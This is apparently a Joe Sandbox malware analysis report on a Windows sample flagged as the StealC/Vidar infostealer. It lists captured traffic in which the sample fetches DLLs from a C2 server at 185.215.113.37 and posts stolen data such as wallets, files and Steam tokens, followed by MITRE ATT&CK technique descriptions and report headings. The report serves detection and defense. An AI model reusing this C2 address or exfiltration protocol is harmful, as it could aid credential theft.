0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 2d 2d 0d 0a Data Ascii: ------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="token"438d578ca0f7f49ccbe244027cf427bca54c60a86b8fdbdd3ec04210a0fc697f274135ec------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="file"------BKKJKFBKKECFHJKEBKEH--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIECAAKECFHIECBKJDHHost: 185.215.113.37Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFCAKKKFBGDGCAKFCFHHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 38 64 35 37 38 63 61 30 66 37 66 34 39 63 63 62 65 32 34 34 30 32 37 63 66 34 32 37 62 63 61 35 34 63 36 30 61 38 36 62 38 66 64 62 64 64 33 65 63 30 34 32 31 30 61 30 66 63 36 39 37 66 32 37 34 31 33 35 65 63 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 2d 2d 0d 0a Data Ascii: ------FBFCAKKKFBGDGCAKFCFHContent-Disposition: form-data; name="token"438d578ca0f7f49ccbe244027cf427bca54c60a86b8fdbdd3ec04210a0fc697f274135ec------FBFCAKKKFBGDGCAKFCFHContent-Disposition: form-data; name="message"wallets------FBFCAKKKFBGDGCAKFCFH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIIJJJDGCBAAKFIIECGHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 38 64 35 37 38 63 61 30 66 37 66 34 39 63 63 62 65 32 34 34 30 32 37 63 66 34 32 37 62 63 61 35 34 63 36 30 61 38 36 62 38 66 64 62 64 64 33 65 63 30 34 32 31 30 61 30 66 63 36 39 37 66 32 37 34 31 33 35 65 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 2d 2d 0d 0a Data Ascii: ------KFIIJJJDGCBAAKFIIECGContent-Disposition: form-data; name="token"438d578ca0f7f49ccbe244027cf427bca54c60a86b8fdbdd3ec04210a0fc697f274135ec------KFIIJJJDGCBAAKFIIECGContent-Disposition: form-data; name="message"ybncbhylepme------KFIIJJJDGCBAAKFIIECG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIECGCAEBFIIDHIDGIEHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 38 64 35 37 38 63 61 30 66 37 66 34 39 63 63 62 65 32 34 34 30 32 37 63 66 34 32 37 62 63 61 35 34 63 36 30 61 38 36 62 38 66 64 62 64 64 33 65 63 30 34 32 31 30 61 30 66 63 36 39 37 66 32 37 34 31 33 35 65 63 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 2d 2d 0d 0a Data Ascii: ------DHIECGCAEBFIIDHIDGIEContent-Disposition: form-data; name="token"438d578ca0f7f49ccbe244027cf427bca54c60a86b8fdbdd3ec04210a0fc697f274135ec------DHIECGCAEBFIIDHIDGIEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DHIECGCAEBFIIDHIDGIEContent-Disposition: form-data; name="file"------DHIECGCAEBFIIDHIDGIE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 38 64 35 37 38 63 61 30 66 37 66 34 39 63 63 62 65 32 34 34 30 32 37 63 66 34 32 37 62 63 61 35 34 63 36 30 61 38 36 62 38 66 64 62 64 64 33 65 63 30 34 32 31 30 61 30 66 63 36 39 37 66 32 37 34 31 33 35 65 63 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="token"438d578ca0f7f49ccbe244027cf427bca54c60a86b8fdbdd3ec04210a0fc697f274135ec------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="message"files------EHJDHJKFIECAAKFIJJKJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCAFHCAKFBFIECAFIIJHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 38 64 35 37 38 63 61 30 66 37 66 34 39 63 63 62 65 32 34 34 30 32 37 63 66 34 32 37 62 63 61 35 34 63 36 30 61 38 36 62 38 66 64 62 64 64 33 65 63 30 34 32 31 30 61 30 66 63 36 39 37 66 32 37 34 31 33 35 65 63 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="token"438d578ca0f7f49ccbe244027cf427bca54c60a86b8fdbdd3ec04210a0fc697f274135ec------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BGCAFHCAKFBFIECAFIIJ--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFIEGIECGCBKFIEBGCAAFIEBFC

C:\ProgramData\BKKJKFBKKECFHJKEBKEH

C:\ProgramData\FBFCAKKKFBGDGCAKFCFHDAKFHC

C:\ProgramData\GCGIDGCG

C:\ProgramData\GHDHDBAECGCAFHJJDAKFHJJEBF

C:\ProgramData\IIJDBGDGCGDAKFIDGIDB

C:\ProgramData\IJKJDAFHJDHIEBGCFIDB

C:\ProgramData\JKJDAEBF

C:\ProgramData\KEHDBAEGIIIEBGCAAFHIDHDBFB

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Function 00079860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 000645C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 6C6535A0 Relevance: 38.8, APIs: 16, Strings: 6, Instructions: 294
stringtimeCOMMON

Function 0006BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 00074910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00064880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00079C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00067710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 00070250 Relevance: 70.4, APIs: 29, Strings: 11, Instructions: 366
stringmemoryCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre